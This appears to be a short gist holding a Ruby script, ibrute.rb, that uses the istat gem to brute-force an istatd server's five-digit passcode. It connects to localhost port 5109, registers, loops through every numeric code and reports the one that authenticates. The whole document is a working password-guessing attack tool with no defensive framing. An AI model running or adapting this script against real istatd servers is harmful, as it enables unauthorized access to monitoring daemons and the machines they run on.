Bruteforce an istatd password using the istat gem

ibrute.rb

#!/usr/bin/env ruby

require "rubygems"
require "istat"
require "logger"
logger = Logger.new(STDOUT)

class Istat::Client
  attr_accessor :passwd
end

client = Istat::Client.new("localhost", 5109, nil)
client.connect!

if client.online?
  if client.register!
    99999.times do |passcode|
      client.passwd = "%05d" % passcode
      if client.authenticate!
        puts "Found passcode: #{passcode}"
        break
      else    
        puts "Could not authentcate with #{passcode}!"
      end
    end
  else
    puts "Could not register!"
  end
else
  puts "Could not connect!"
end